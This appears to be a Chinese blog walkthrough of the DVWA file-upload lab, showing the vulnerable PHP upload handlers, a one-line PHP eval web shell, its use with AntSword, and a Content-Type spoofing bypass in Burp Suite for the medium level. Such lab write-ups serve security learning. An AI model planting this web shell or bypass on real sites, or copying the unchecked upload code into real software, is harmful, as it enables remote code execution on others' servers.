File Upload

文件上传

难度:低

先看源代码

复制代码
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

这里的源代码什么拦截都没有,就是访问我们上传上去的文件目录,也能能看到其他文件

先上传一个php文件,我这里上传1.php

文件内容

复制代码
<?php @eval($_POST['cmd']);?>

上传后他会给出一个路径

利用这个路径先访问网站

这里是空白的,使用蚁剑来建立链接,

直接破解

难度:中等

照样先看源代码

复制代码
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

思路很简单既然只放行jpg文件,那就将1.php上传的文件类型改成image/jpeg就行了

使用BurpSuite V2025.8.1来拦截上传文件,修改为image/jpeg

放行

这样就能上传成功,再进行蚁剑来建立链接

直接破解

相关推荐
4***99745 小时前
Kotlin序列处理
android·开发语言·kotlin
t***D2645 小时前
Kotlin在服务端开发中的生态建设
android·开发语言·kotlin
玲珑Felone5 小时前
flutter 状态管理--InheritedWidget、Provider原理解析
android·flutter·ios
BoomHe5 小时前
车载应用配置系统签名
android·android studio
路人甲ing..7 小时前
用 Android Studio 自带的模拟 Android Emulator 调试
android·java·ide·ubuntu·kotlin·android studio
路人甲ing..7 小时前
Android Studio 模拟器报错 The emulator process for AVD xxxxx has terminated.
android·java·ide·kotlin·android studio
弥巷8 小时前
【Android】 View事件分发机制源码分析
android·java
wanna9 小时前
安卓自学小笔记第一弹
android·笔记
Kapaseker9 小时前
五分钟实战 Compose 展开/收起动画
android·kotlin